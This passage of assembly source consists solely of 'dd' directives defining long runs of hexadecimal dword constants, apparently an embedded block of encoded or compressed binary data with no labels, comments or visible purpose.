dd 0C6564200h, 0E24279h, 1EEAF338h, 0F0DF0BFFh, 23722F00h
dd 0AAB66ABCh, 15C90087h, 0CA117DEh, 0DB00F0E0h, 88F3E866h
dd 6F7C59h, 9553AF33h, 9F6C08D7h, 48FC4830h, 0E06928DBh
dd 0BCFA00EDh, 580FA684h, 109A482h, 81FC3715h, 0E1ABDA63h
dd 1B2A2E8h, 0DC53F6BBh, 0C496D31Bh, 0FD00C25Ah, 19FB0E16h
dd 39AB454Fh, 77C88Eh, 0D3D1DC43h, 0ADD3CA1h, 8C146901h
dd 0F9AE1E10h, 0F7F16C8h, 4321080Dh, 0C88086AEh, 0AB51DA7h
dd 41352A00h, 3A9646C1h, 6CA5384Ah, 4E8E187Ah, 68EFA876h
dd 9786DB00h, 30B2D5E9h, 0A8990090h, 16EEC5C1h, 930733DEh
dd 45967A50h, 22B55580h, 13FE8Ch, 0FCD4A891h, 21B1EB18h
dd 40904C00h, 0BB3F7864h, 0C471CAh, 58B3A8CBh, 0FA8C10D1h
dd 0E135180Fh, 72A900B0h, 3C44EDEh, 0F3F7B5EBh, 0C0F763A2h
dd 0FFCC1610h, 68CD9A00h, 8A4D6D2Bh, 28A5629Ch, 5000A3B7h
dd 0E96F2Ch, 0C7FE8C13h, 40289F03h, 0D310101h, 3A5EDD2Bh
dd 73D547E8h, 9B5F00BCh, 9EF175AEh, 82000D89h, 0D0CBA4E6h
dd 44FD4Ah, 0CC283A8Fh, 0F1014D30h, 45BA8400h, 3B2C9504h
dd 57AB002Ah, 6F7FB667h, 90000D20h, 0A5EBD1Dh, 0CC157Dh
dd 86F8B778h, 35F03E03h, 13FF5C00h, 6CA6EB66h, 2A78011Ah
dd 83B2F8BCh, 0A8DBE447h, 92706501h, 9CE644B6h, 4246006Eh
dd 470AA1F8h, 0A4E03Ch, 49205371h, 0D00B11h, 9144ABCCh
dd 1B32386Ah, 0AAA90503h, 806B9DC1h, 8753DCh, 0FF19D048h
dd 3F9C3EA7h, 7B953600h, 27C8F172h, 0EED0E232h, 7F990E9Bh
dd 0ABA064F8h, 6E398ED1h, 300CD90Fh, 0BEC50010h, 2F6F69h
dd 0AEAC4F17h, 0CB469D3Fh, 0B12AA700h, 0D98C649h, 0BCF907C2h
dd 0E0BD979Ah, 3815D846h, 1D3DB9EAh, 0D14C837Eh, 8853E802h
dd 13334F4Bh, 1F7959D9h, 0A1807FD4h, 93881ADDh, 0F8006348h
dd 6E25CC20h, 0EDB3Ah, 17ABA454h, 2F8E71A6h, 0F632FD00h
dd 790BA30Dh, 1E6A7406h, 976B8F03h, 0D9770166h, 60C32068h
dd 0F505D6AAh, 6101738Ch, 51E574C0h, 3B4F742Bh, 69002018h
dd 0E30BE041h, 0C4006E11h, 57C134CFh, 3F0DA43h, 41495F3Bh
dd 87C0B251h, 0A6002DC4h, 0B171D3B8h, 0A468D4h, 119D02B0h
dd 0B493CBECh, 0D299000h, 0E09BC2BEh, 6FE31F2Ch, 264CC3D0h
dd 0C9E022D8h, 0EE0039C5h, 59E958Bh, 14DA81Eh, 6D7BE85Fh
dd 0F49FF2BEh, 5A0760D5h, 0C37E3BE3h, 0CED45F40h, 7553008Fh
dd 9CD1474Bh, 76008D33h, 0B54551A2h, 0B4140h, 32F05F9Fh
dd 3B9EB8B1h, 0AF79701Ch, 0FC056EE4h, 6CC0589Dh, 46F930h
dd 562D83D4h, 11317ED1h, 0E32F9300h, 89C84560h, 0D3FA1329h
dd 2B4C00F6h, 421D7D3Fh, 0F522D60Fh, 0F975C3DBh, 0AE09D819h
dd 0F81500FFh, 65331C7h, 9100660Ah, 951B79EDh, 90A36E3Ah
dd 3BA2006Bh, 9B5E753Fh, 0BB000FB3h, 5A314610h, 0EA29A9ADh
dd 0F66600B9h, 0EF8D9EA8h, 0D1009933h, 0A37AFC71h, 483621h
dd 1E52E2DAh, 6B8B092Ch, 0F7006CE2h, 35D084F9h, 259C90BBh
dd 3E4025C8h, 504C0801h, 806805D1h, 5FC3CF89h, 0F990E782h
dd 7B4B1090h, 2B323F98h, 659C170Eh, 0DFC23140h, 0D503A814h
dd 0F518683h, 9BDAA839h, 0A291006Dh, 473B135Ch, 110EF0E4h
dd 871D57E2h, 0F90716h, 0CA22AE8Eh, 0C6FC1EBDh, 0AC829218h
dd 4B760065h, 7795F183h, 58B80005h, 0C26343EFh, 0A1757A86h
dd 0D7A8AA00h, 22E29D65h, 0EEED004Ch, 0A76F9C2Ah, 0E700313Dh
dd 693FE435h, 2EFC258h, 0C3079DF1h, 9CA00415h, 0E47CB6EBh
dd 0C0ED10CFh, 7F0399FCh, 1B59008Ah, 0DA69FB19h, 750E9230h
dd 202E90C1h, 28DFE47h, 88D600EEh, 46A20FB2h, 661EF5BCh
dd 4207994Dh, 0A1906C93h, 9F9A28h, 822DEF32h, 0EA8841A7h
dd 50588EE0h, 42386Ch, 467759CEh, 2C7EE382h, 269633h, 6948DB61h
dd 9C3A72BFh, 434F00A1h, 21A0FEBBh, 0B42307FBh, 80DB766Dh
dd 0CFCCA994h, 6F517800h, 0D777DC39h, 1997810h, 381615E9h
dd 0E8AF315Dh, 240054FBh, 0B39ED220h, 0F491D14Dh, 957449h
dd 6CEC93EAh, 81FF98D6h, 1EC25D06h, 72CCD18h, 7609A180h
dd 0CFB7C13Ch, 2062615Ah, 7B744F38h, 0BFD0823Ch, 4405F8F7h
dd 1FC7CD21h, 61EE0C80h, 0C05F003Dh, 0C31A48ABh, 9848966Eh
dd 31870058h, 539DE7D5h, 0C1EC04h, 0E93D2183h, 2C5DCADCh
dd 80657A3Eh
dd 0E44AE5Eh, 0BD7FCF3h, 471C1988h, 5D847000h, 0B400B2EFh
dd 0C607571Fh, 2DDCA4h, 2391BAF4h, 0D00A46C0h, 885AD801h
dd 0A64C2CA2h, 63A7E0h, 4FF8D411h, 0F7943AC6h, 0E3DB0C00h
dd 19564187h, 8EB50065h, 51B22D8Fh, 76005A2Ch, 2BB3D494h
dd 9C654h, 98A8BFA7h, 8EB9D019h, 4200DA7Ah, 33864041h
dd 395E4464h, 2800A7D6h, 17D4ECF4h, 63023F0Fh, 0DA0D0EC1h
dd 86F0407Ch, 59130042h, 0AE4055BDh, 0EB7A3B28h, 74C42600h
dd 0F8D0E0DBh, 139D03DFh, 76F3F089h, 41F5E797h, 70939C91h
dd 15003272h, 3337A06Dh, 0F0B20DFh, 0D3813E44h, 0C9663640h
dd 6F126B18h, 211CB62Bh, 89DC9900h, 0C3FD8Fh, 38FCD0E2h
dd 3F42949Ch, 195DA502h, 608FE80Fh, 24284FBCh, 6898Ah
dd 41EFDE3Ch, 0D4A09C01h, 4F0094D0h, 0EA7574CEh, 22C468h
dd 373CFCE8h, 0ECAAC135h, 645C0E00h, 97F78626h, 52460017h
dd 36FE24E0h, 8F009BB6h, 0E6D08575h, 72D4F96h, 455751CDh
dd 0F7DA7034h, 93F20C06h, 0F22F1116h, 0C9EC8807h, 5D2D5470h
dd 5BC30027h, 172015B3h, 0E8388CA3h, 214E8B9Eh, 8D9800ABh
dd 0C08E465Fh, 3C47CFC0h, 85071DB2h, 0F7972662h, 7D05877Fh
dd 10B7BAE0h, 55E40071h, 92DA8CDCh, 4F00F5D2h, 5E1BEEABh
dd 0F88B681Dh, 71CE003Ch, 3F18D43Ah, 100DEB0h, 8D1EA72h
dd 738858Dh, 1C811362h, 4B0730A1h, 68C39CAAh, 0AB2AD025h
dd 54D6F04Ah, 265F01E8h, 501FC048h, 4D8880DCh, 0F741D9E9h
dd 249CFA3Eh, 19FB738h, 26817BC1h, 0CCD8D1E5h, 50183627h
dd 85E97E6Ch, 0D789444Fh, 0FDB24006h, 206B3Dh, 8C7CA0DFh
dd 0BC90AB92h, 3F562358h, 0F68800E7h, 0D5F7D0EDh, 722800A3h
dd 0D6B4AA60h, 0A4005233h, 1062AE5Bh, 0A22B65D2h, 7EAC2084h
dd 5FDD1Ah, 4E0E6F2Fh, 36CD0D82h, 3FC01F03h, 0DBAEA1h
dd 0EA834928h, 30500FD8h, 5090D230h, 0C6A803h, 2FB01D68h
dd 24DE7DBBh, 816CC13Fh, 0D2486D5Eh, 0C2D5ACB9h, 0E6484CEBh
dd 9E9B2F00h, 199221ADh, 980A901h, 8BBAA0F7h, 366DC4h
dd 0F29A5B0Ch, 76CBDABCh, 0AD41E116h, 280E8F07h, 66042079h
dd 39C1DCDFh, 1F80483Fh, 30D46E0Ch, 23009B3Dh, 6D536419h
dd 0A71446h, 0F9C6107Ch, 37E51E35h, 5030D200h, 0B6555840h
dd 4050DD95h, 156A8DD8h, 0DD0EA7FDh, 0F0232Dh, 8BEBA6D9h
dd 909A181Eh, 0CC1CC880h, 880A9C0Ch, 1A80E4h, 0FD2E9EEh
dd 0C5F04F7Ch, 79B50400h, 496C2DB4h, 0FD130050h, 8B7C9DDEh
dd 8C123347h, 0B200C3B2h, 99871CA6h, 7ECD2EB6h, 9DD30029h
dd 6E39D649h, 92FD3A00h, 0F21AC6EDh, 6A972CAFh, 278700C6h
dd 0B3D3DEA0h, 0F4AB8203h, 0A828F2A2h, 30866479h, 5F598134h
dd 7500A835h, 3ECE05CAh, 0FC07F6EEh, 1D3600D3h, 1813F54Bh
dd 0D2012D27h, 0EDB1F2AEh, 0A301983h, 0DEE93CDDh, 80C8A814h
dd 0FB530C00h, 0E1F21F56h, 0BD2F800h, 0EC740F83h, 5A7FDBh
dd 0F4D0A07Dh, 102A336Dh, 1D64FD00h, 0C471231Ah, 3C73D94h
dd 83D6B00h, 7D3E2A49h, 0B8B55A01h, 0C3D770A7h, 0C855F4h
dd 75913F0Bh, 1FB0D971h, 2159511Ch, 0F70058EEh, 8B762E63h
dd 7528A4E9h, 0CACB1D29h, 44468050h, 0D22A40ECh, 0E713F000h
dd 7A274319h, 0EDF40007h, 85E42469h, 8700773Fh, 5B76020Bh
dd 76A529DBh, 1B3A00C2h, 36C751FFh, 970072AAh, 95BA1232h
dd 0AA013A5h, 8923650Dh, 841B7020h, 0CF0CEFh, 69736AFAh
dd 0EC25E4B8h, 98B8800h, 1641A4EEh, 0C8C30068h, 0C0B4187Ah
dd 48C02AC6h, 0F256D40Eh, 31CB005Eh, 1AEEE24Fh, 3F393C71h
dd 0A8E40EECh, 7A76A778h, 0B62DA08Eh, 0FC3B749Dh, 0F38118BBh
dd 6E0B0877h, 0C75C5100h, 0AAA4A50Ch, 0CBE41E30h, 0C97BC170h
dd 0BE1884ADh, 261E0028h, 503A8691h, 0A3FF7994h, 308385A4h
dd 1658003Dh, 0FEAF13ACh, 0B979CF26h, 0A558B01Fh, 0C8915E00h
dd 18830ECBh, 0B826DAFCh, 470094FAh, 0C58AC45Fh, 5741A332h
dd 0A50380E7h, 719242F1h, 2568D4h, 81BABF3Ah, 0B5C960F1h
dd 0FAE96C01h, 2AAF1412h, 2EF080C2h, 3DF310F4h, 1B8FDC6Dh
dd 9B609D75h, 3FFDB9BCh, 6BE89260h, 48A8A6CAh, 45001441h
dd 0AFCA5E0h, 59EEF92Bh, 50F42004h, 24913B80h, 0E2CAD59Bh
dd 10201CA4h, 0C07BC8D0h, 6A52E46Ch, 25391801h, 3616B8C1h
dd 41E9A91Fh, 9600CCE8h, 5D701034h, 1F53A2F9h, 63674B3h
dd 6873E983h, 10F0EA00h, 685E5B01h, 0B4B800EDh, 0F5266C72h
dd 0B1E03C6Dh, 6B0D4900h, 5D8315BBh, 0AB180060h, 0B316FDBFh
dd 8E00A21Ah, 3EFA7242h, 0ECE83AE6h, 0A8E3006Bh, 93D6C481h
dd 4EC1BD51h, 453F9633h, 17D2D5C8h, 0C602EAh, 0E21CCAC3h
dd 8A1DC924h, 2000AEF3h, 0B0F4418h, 32990013h, 0E2A0613Eh
dd 5C005D7Dh, 821D49D0h, 17B1CA16h, 954A5BAh, 20201E5Ch
dd 0C05FACA4h, 40928100h, 0CF3A2E52h, 7B8500D1h, 0EAA5AA50h
dd 943A537Dh, 69CA0021h, 88C0729Ah, 718F00DDh, 0DB31F441h
dd 0B7003D64h, 13895C44h, 3A77AD08h, 0B4813393h, 0F429D334h
dd 1A9070A3h, 0B2F83000h, 72114335h, 603C0739h, 80826Ch
dd 0F5F361E5h, 2B8B3Eh, 0FA7D430Dh, 0F2E6F8h, 0E167AFA5h
dd 3A08BBE2h, 664B3C30h, 3870541Dh, 3506B0DBh, 21AE5D72h
dd 0A72FE400h, 0D640FB89h, 10EB0C5h, 659169E2h, 0D04516B1h
dd 0FE13C8AEh, 8200C307h, 266A51B7h, 3C3B3A06h, 73D704F2h
dd 0BAA6C2FCh, 0E736C7C0h, 0A0B600EAh, 2E514E32h, 3300CB3Ch
dd 2C31B1F4h, 98DFC57Fh, 18B4006Eh, 4CBA2A48h, 970015A4h
dd 0E9A84E9Dh, 0D5088Ch, 3F2BB10Ch, 76E0B6A0h, 8642A100h
dd 0A95C3013h, 70FE7Dh, 6032AA53h, 0C7A3AF46h, 63D40901h
dd 646C4230h, 33D208F0h, 94F09222h, 4AD17980h, 0DBDA4D50h
dd 19663B0Ah, 12809888h, 38EA6102h, 0FE991F28h, 0D967408Ch
dd 83AC3423h, 0E0DD0800h, 19609FAEh, 885600FCh, 0BDE20506h
dd 17484279h, 0CC30007Ah, 28297065h, 0FFD31461h, 1500A07Eh
dd 2C48108Fh, 2EEC86ACh, 0ABB1F0E9h, 8FDCB33Ah, 0E008E185h
dd 30B6A556h, 84E20789h, 0FC64A44Bh, 0BC1ED738h, 97E5FF1h
dd 16C12Bh, 0B17F5AC5h, 7D390FC7h, 0F8E04419h, 0F32E598Ah
dd 56107E03h, 9E354DDFh, 0C4480488h, 333D76h, 9E981A9Dh
dd 0F930C0C2h, 19C3A040h, 1F50D0BFh, 275C5A8h, 0F45B82BAh
dd 0E7AD41F7h, 1D74FBFCh, 0CF22954h, 8611C1E2h, 55E02D00h
dd 0CFF5F082h, 0C048DF41h, 4C331AACh, 20A4BC8Ch, 0E0944809h
dd 0EE8085D8h, 0B5E11802h, 3A149380h, 0A815E858h, 8100147Ah
dd 0E59C928h, 8C5607Ch, 3060D045h, 431DC720h, 4AA10381h
dd 0CBAE6951h, 0B34EA24Fh, 0C0700D4Ch, 47C981BEh, 2700EFE7h
dd 0CE0C3345h, 38084468h, 84C55050h, 0E2DE39C5h, 7A483070h
dd 1450E5A7h, 3C72027Eh, 17826C33h, 0A127CE62h, 900A9CB4h
dd 20C60682h, 45099E84h, 58A0B60Ah, 0ED2A61C0h, 3E01186Dh
dd 0EC336A62h, 3058BE87h, 64C853B0h, 0F6205E07h, 0CF189A8Ah
dd 9D2B7321h, 0FE2885EAh, 44285305h, 89680F40h, 0C5F019B7h
dd 7C0B81Eh, 0C5BDA58Ch, 20EDDF0h, 62CFE2B0h, 70C1EC96h
dd 7B68B9DBh, 0DE4F488Ah, 0AC8800D0h, 0AE4A6F1Dh, 0B5507090h
dd 530F8CD4h, 0A2E622Dh, 11C148BEh, 4916FC64h, 8906C2E4h
dd 0B2A44E8Ch, 38665888h, 63FDCC00h, 0E495CE69h, 974E6205h
dd 502C8AEEh, 0BCEC29BBh
dd 2B7E052Ch, 82B83972h, 12845988h, 219E1834h, 2E8C2A0Ch
dd 0A1F3914h, 68AE759Bh, 226C07DCh, 53ACC3C1h, 0F42CA803h
dd 0C80C4828h, 3A6E6965h, 0E00434Dh, 8E620317h, 0A4A57FF7h
dd 0DA1C3E61h, 0AD585087h, 75DBC21Dh, 732A485h, 0DA674C84h
dd 0B0781588h, 1458BB24h, 79E1F86Eh, 5E6C4C7Fh, 2C993226h
dd 2D57A801h, 0B0517C0Ch, 18B89C81h, 73CC5124h, 0ED33B015h
dd 7DFEC2ACh, 2E8C868Bh, 748C5648h, 0D2018862h, 961E1C98h
dd 6E754207h, 96F98AB3h, 5B70C570h, 601E96h, 1E41F924h
dd 0CC132D29h, 88785EACh, 93610403h, 0C0B84AFFh, 6B3BBA84h
dd 0BD601891h, 2664F740h, 580B790h, 2C6E7189h, 0B4F650A8h
dd 809A36ECh, 75EAE300h, 8CC6D74Eh, 0D45923AEh, 0DC2A9C00h
dd 0C56FA3Ah, 0B0F4A202h, 38D17EF0h, 4C78C018h, 0CFFE2E79h
dd 6E4A9CE9h, 5ECEE358h, 846604D9h, 41A86188h, 0B028B885h
dd 0EADD0393h, 2E6A9C8h, 218DBF89h, 113C1858h, 29B0C498h
dd 2202D205h, 0E4048CEDh, 80CE41D1h, 18945218h, 20F4A62h
dd 237EA2C2h, 0E8C4E90Eh, 90BB794Eh, 0E1042998h, 35384360h
dd 57243BC8h, 4CF024Ch, 0DCCE6E95h, 964E9B80h, 24AEF07Dh
dd 72D8BBEDh, 28DE7C83h, 62828132h, 8108C548h, 0B35F6660h
dd 8F3C642Ah, 4F1D9602h, 0B894D75Ch, 155EC24Ch, 0C0F33BB8h
dd 0F0261C14h, 1C49612h, 1D8F078Ch, 2A04AAFh, 8E0DC81Ch
dd 0AFC8A62Dh, 6DEE0A38h, 5BB8283Fh, 220757D0h, 53CC0241h
dd 106E4C5Bh, 193686B0h, 58B8D814h, 80C442CCh, 1B9BD510h
dd 0C1B0C0F0h, 8C2840A8h, 0E0B8146Ah, 4A9CAE59h, 0E2783152h
dd 1430A679h, 129BE958h, 6F984A9h, 586A825Ch, 7387ECA5h
dd 0D53F838Fh, 632309B0h, 69C1675h, 8FFEFA8Eh, 42127801h
dd 8006B107h, 5058F41Eh, 28EC94BDh, 0FD9C97B8h, 0A1D00021h
dd 0C0289915h, 786D04EFh, 61F8F263h, 2C480EFDh, 99349CEh
dd 0D086E890h, 0CC1740A3h, 183914EEh, 1408C2ECh, 0C44C5868h
dd 283A5609h, 6C70A416h, 1459518h, 55721E8h, 8B4E70E3h
dd 0BBDC38DFh, 55088A1Dh, 442ECCAAh, 0D60B783Eh, 5E49C6Eh
dd 0C02B5E12h, 75CC404Dh, 8DAC2D6Ch, 0E8C3707h, 2C809FE6h
dd 1B1D4A30h, 20731B8Fh, 4E590E0Ch, 24933137h, 586C6409h
dd 3913138Eh, 7000929Ah, 2D1A7081h, 0DFCB004Ch, 0F189CE6Bh
dd 0E0006E60h, 2C4E6402h, 312F1DFFh, 2B205686h, 7CC4205Bh
dd 14184B58h, 16CC0AEAh, 0C4017381h, 8E591A63h, 0CA0A55CAh
dd 8C480367h, 2CA0D445h, 10C62B24h, 28780EA2h, 7DD0D52Ah
dd 9DE1E9FFh, 0ECC2C60h, 8E5F9785h, 0AE88FADh, 34D002ACh
dd 4161975Ch, 79D5A2FCh, 0A80CF89Eh, 755131B0h, 9C448D70h
dd 70B12558h, 6470C5F8h, 0B8D467EEh, 0C09C8978h, 0AD4FCD04h
dd 0E9008E42h, 841FA8B6h, 7E68E303h, 0C0E1A0A6h, 0C0CE5E4h
dd 0D33A644Ah, 0FD004608h, 2AE08659h, 5FA668h, 8BA41F05h
dd 7C65618h, 0C40F277Dh, 67ED55h, 4F4192FCh, 6618002Dh
dd 0E2B206DCh, 0EE00E58Ah, 0FDAAC9FBh, 0DE656h, 4F641F74h
dd 94265911h, 0A65BC407h, 0C64175C8h, 208AFFDBh, 4028355Ch
dd 0E247D631h, 20DDD7Bh, 28C856AAh, 5F207CF1h, 1DB6E20Bh
dd 74085B2h, 8184EA92h, 0F014B3D2h, 13600D12h, 86757318h
dd 1E530FB7h, 0BCDD781Dh, 0C8A8D700h, 71A2977Ah, 8092D10Ch
dd 7C6F40B2h, 0C03700C6h, 5D9786ADh, 0D71E9527h, 1703522Dh
dd 0C194B5FBh, 608E7F22h, 809F7EC2h, 0B2B0334Eh, 851988A5h
dd 321850F7h, 188E5721h, 0D2872227h, 0C1FAFFEh, 0D1C00E73h
dd 0BF1BA8DFh, 3595A150h, 0ABE91880h, 4D3C7786h, 0DC72B00Fh
dd 19570341h, 0DAE03185h, 803317D8h, 0B1F6D399h, 0C73026F2h
dd 81EF2408h, 0F0E9D492h, 1280D152h, 73B57CBCh, 0F87B63D2h
dd 32F07EA5h, 8A0CE83Fh, 10E2ABF7h, 84880765h, 83E49E97h
dd 5BC0112h, 901CB082h, 95689258h, 0E3C01F77h, 83183AECh
dd 90A609BBh, 0A3A4990Eh, 2A4441D1h, 0B530DB45h, 0C49F078Eh
dd 0C199822Fh, 0D08FF8ABh, 7C580FB8h, 2CAA3ABEh, 783B3CA4h
dd 0F63EA3Dh, 0C099AE84h, 0E154CE44h, 1D173AE3h, 267A830Fh
dd 1FC36301h, 5F7ECCC0h, 0E4648F00h, 0F1849251h, 1928CF2Bh
dd 0F6D87A49h, 6D7F8F74h, 2B9E38C3h, 0F462E1A3h, 6761A9E3h
dd 1A857080h, 65779CBDh, 7DCAA400h, 5E498F98h, 59EF004Fh
dd 648B36C3h, 0DB03F36Fh, 8431BAA3h, 0A686F804h, 89A93344h
dd 50CEFCE8h, 1C81333Ch, 8B1F0D64h, 30EB650Ch, 4410C6A4h
dd 0D90241BCh, 0D5C4859Bh, 4098835Ah, 8BE3A35Bh, 9A23C042h
dd 263F843h, 4485D7F8h, 888334DCh, 3A0EFBEh, 4880C21Dh
dd 0E4940C6Ch, 0E181ED8h, 0C150FE62h, 0C0D006F9h, 6760A43Ch
dd 71FFF08h, 0E1B3CF84h, 1817F343h, 8647498h, 23E2E06Fh
dd 80466744h, 0A87DC343h, 7F520318h, 4A1410h, 0AFB44495h
dd 461663C0h, 81D108C0h, 7C5C43BEh, 75A33121h, 0D4D2DC49h
dd 0FE50CBC3h, 6B04E1E0h, 3AB52498h, 0A7272087h, 0FFDA0441h
dd 281BE441h, 1891E098h, 1C904C84h, 0B0234410h, 93C8012h
dd 0A6024114h, 0D3405D04h, 0F550A984h, 0A561084h, 0FDFC03ECh
dd 0D0221DEAh, 0A8B0B9F8h, 0A499B90h, 0FFC42495h, 58C00AB8h
dd 44004E1Ch, 4ED81512h, 0DA99EF1Dh, 328C9F5Eh, 624BE0E2h
dd 4A29B042h, 26D13C40h, 150420A4h, 0D98C1916h, 8BAEF902h
dd 34301042h, 401393Ah, 0F89BC526h, 0DBC0FCD9h, 0FDF228C3h
dd 9D560E8h, 248B5C2Eh, 0E43C40h, 44843536h, 49F9155h
dd 248A9720h, 0C50A0E5h, 28A842BCh, 12F89D98h, 7230EB62h
dd 57044037h, 6F10C9EEh, 0B6034007h, 0FBB6785Eh, 94D4231Dh
dd 4FA1128Ch, 38389C0Eh, 0F0D7F7F0h, 24984923h, 201EF318h
dd 38C715B3h, 864FFB42h, 5108FE6Ch, 0FAF1B8DAh, 8CE43283h
dd 0ACA184E9h, 8194201Ch, 0BE588663h, 0F981868h, 152F089Ah
dd 2763E000h, 1D64A32Eh, 7B44909Ch, 48C3F861h, 83072CF9h
dd 0C0C04C2Fh, 0A3BEDEBAh, 0F8AF7137h, 0C9F820B9h, 0ECE49F8Fh
dd 24A4FE5Ch, 0F14337Fh, 0EBFD574h, 24832C02h, 4C1538Bh
dd 83208C7Bh, 31C308A2h, 0E01846B3h, 3F84D057h, 3130AA4Ch
dd 37C029A6h, 98097303h, 84566E63h, 0E844AD98h, 5D16044Bh
dd 7CC241Fh, 81911F24h, 878C94E4h, 7AA19540h, 8259F7C7h
dd 86935C38h, 1308A89Ch, 6A06EC3h, 80BA1934h, 3D3F26h
dd 8261730Fh, 408C9C04h, 0A192DC8Ch, 0AC34FAE8h, 4888E15Ch
dd 0E5134805h, 0F0648001h, 0D9D07CB1h, 28F4A091h, 203498E3h
dd 0B662F6E9h, 4047A330h, 60714470h, 0D509609Ah, 0BF28C495h
dd 0A53AA88Eh, 25040AD4h, 720EC830h, 634D9F77h, 85F510DEh
dd 48180C30h, 0E13C4C90h, 6B989174h, 898E6F01h, 39C03008h
dd 1710D453h, 94153D46h, 411901E4h, 0A8247CB2h, 0E5A40889h
dd 0C63CEC9Eh, 0C9041218h, 0A679B006h, 0E2841230h, 0C6980AD3h
dd 0E8599884h, 0D093D5A4h, 0FF0C1481h, 0C645BDEh, 0E430C2D4h
dd 2460F2C6h, 8898D1C2h, 60B8F954h, 449F8D2Bh, 40E9680h
dd 98970A9Ah, 9EFE2044h, 44D07A51h, 83B80EB0h, 0B005FC69h
dd 422030C7h, 2D7FC9F1h, 99F89609h, 43AC01C0h, 1448B898h
dd 0AA961362h, 0F9284F4Bh, 44B80532h, 122C9336h, 2F1081B4h
dd 41408C5Ah, 4C6A88FEh, 0E612B8A3h, 0A48C09B0h, 54047403h
dd 4831087Ch, 0E951047h
dd 84493802h, 24D4307Ch, 58D7173Eh, 629A20ECh, 1C441055h
dd 6182CCC8h, 9DADE0E9h, 3F2CCC90h, 0F214E4E2h, 10C309A4h
dd 87A802EAh, 5E49C65h, 0F9677B59h, 0D9A00506h, 0E33C8039h
dd 0A490A607h, 1C60C182h, 60DEAEF2h, 37C8D659h, 0AC83A020h
dd 0CCD40028h, 1C71C840h, 0E42439F2h, 921EE0A3h, 0B0C0DB14h
dd 33D1F8D2h, 1980071Eh, 0A348C2A4h, 1A001845h, 1697BF86h
dd 79EF0932h, 0AC03DBF8h, 9017BEF2h, 8402B534h, 45A69EA3h
dd 3DA88338h, 91E8A76Ch, 0B35059F2h, 2248390h, 47702CCDh
dd 0EDEE5122h, 60C32C52h, 2B582458h, 817CE1E9h, 0CD1513B8h
dd 9930850Ch, 0D414F3E9h, 1090A024h, 493B2455h, 51F90A7Ch
dd 9061BFF8h, 41F65803h, 404BE294h, 944986E0h, 9B7D241Dh
dd 3658F024h, 0B12D1FAEh, 0D9F2C44Dh, 4FACD2C2h, 67639860h
dd 3A24A848h, 1498BE77h, 19E8FB87h, 3208AF2Bh, 51030C70h
dd 11D1F0D2h, 0BC617C61h, 61E440E6h, 1EA498F0h, 0A7CF3E0h
dd 17B4456Ch, 84200470h, 438CC1DDh, 1AAC345Bh, 1164A8CCh
dd 3F8D3283h, 1C43ACC0h, 0C30214E2h, 0E434E01Ah, 0D899669Dh
dd 4431286Bh, 622418A8h, 6271C434h, 9DEF08A0h, 30E0C861h
dd 7B3163E4h, 0FE07683Eh, 57FDC88Ch, 2D584F08h, 82A30A0h
dd 90C09683h, 0B9212810h, 2CBF31B4h, 41C14D10h, 4007BB94h
dd 92B5C7ECh, 0D76654F8h, 30B0E7A8h, 0C408BBA4h, 18DC2904h
dd 792B90Fh, 244120A1h, 388FB15Fh, 0A483B415h, 98378573h
dd 4843209Dh, 7944E1B3h, 2860B861h, 32F0982Ah, 3FB04FB5h
dd 0F524A0C1h, 64088D72h, 0AC548B8h, 0B7A0D9D3h, 9D0408Bh
dd 0BF3DC882h, 0FA3B2C40h, 782C8090h, 9A0970B4h, 2C088E63h
dd 6432E054h, 93FB2847h, 10B6345Ch, 4085361h, 68B90FB8h
dd 0E018BD32h, 4E84A440h, 0DC0030F1h, 0E6FC2451h, 4FA85CC8h
dd 0A4049509h, 0D6A483F5h, 0BF1814FCh, 0EC52F066h, 595A8483h
dd 39B8EA50h, 993A8515h, 968CC314h, 89E260h, 99900A19h
dd 3870044Ah, 31B61178h, 7928A1DFh, 1D1CEE69h, 96B995DDh
dd 3A2C4C6Fh, 7B298450h, 0C401839h, 28AC26Bh, 0B9EF4EFFh
dd 48416D45h, 6A24648Dh, 2494D85Ch, 48344C5Bh, 0E412B412h
dd 0DC0CBC1Fh, 5071106Ch, 0A37EC468h, 289E7A8h, 49C883E4h
dd 0F4280FB8h, 0BBE46C2Ch, 48D77139h, 19A76003h, 0C00BA62Dh
dd 1C9FB299h, 81A10448h, 0D341C8C0h, 0B8124924h, 60C09AE4h
dd 12A38D97h, 49E36344h, 280201F4h, 0CB86788Ah, 642E80FAh
dd 2C24349Fh, 8B39E58h, 91AFD0FEh, 201F7516h, 24A8D07Fh
dd 0B48D4224h, 7C80E714h, 2C452C24h, 4F4C309h, 2881C640h
dd 0C0BD1824h, 0A6ACB589h, 0B21FB496h, 6349927Ah, 40140496h
dd 95234CC0h, 0C770C93Ch, 0FCCC0840h, 0FD0B08C6h, 21D616D0h
dd 5E142CDBh, 0E485AA0Ch, 25195064h, 0F489FB39h, 0A6235401h
dd 0A896DA14h, 11DC841Eh, 790A2E10h, 18F050F3h, 0EC4340A2h
dd 2908ED61h, 882CDB22h, 5D83C6A0h, 309B3C2Ch, 6647A8A1h
dd 0A18D5091h, 2C67B901h, 0B040125Ch, 0A07494CBh, 0C05F52ADh
dd 0D8AF99C8h, 582CE49Fh, 0C9700467h, 0D4AD1896h, 5AF93068h
dd 64998905h, 0C4C1E1CEh, 486354BAh, 33C50581h, 0D9C050A3h
dd 0DCA05927h, 20B00781h, 0E8094228h, 1CA41EEAh, 0B28C0B04h
dd 2CA0531Bh, 99A93E1Ah, 0C01E3B8Ah, 732A58CCh, 8F74B608h
dd 540E0817h, 16301F1Ah, 2A600580h, 4C30FFDEh, 0E4602EC8h
dd 0C8AA0C31h, 9C75E1E8h, 7C727021h, 8049E9CFh, 85592CA1h
dd 12708D1Dh, 842F38F8h, 0B2547035h, 7344A861h, 0D73A29B9h
dd 37B3C080h, 0E8A82D5Ch, 3C00E399h, 7EF03D2Bh, 0DC65C2h
dd 0CE533B27h, 0CD9FE9FDh, 289F300h, 0BD0128D5h, 14345297h
dd 417DE71Ch, 8C0E8715h, 2C09CC22h, 59DE5D01h, 53D05CFEh
dd 7AF9FCD1h, 3AD1C48h, 0F4AF441Ch, 8E889F6h, 3D7B2992h
dd 0F2CB63Ah, 36921h, 1D38D488h, 204B5244h, 457C5000h
dd 89F746C5h, 3BDBE220h, 13A907Dh, 81548229h, 765BC9A6h
dd 80D0BFB7h, 7CDF7D87h, 56E05D32h, 6A036CBCh, 0F085BBB3h
dd 86A2A00Ah, 0F4401066h, 60D17D4Ah, 0C9428043h, 0EEFEDF7Ah
dd 5C1EB874h, 1C1FA4A1h, 9CFE354Eh, 0A0209819h, 440018BAh
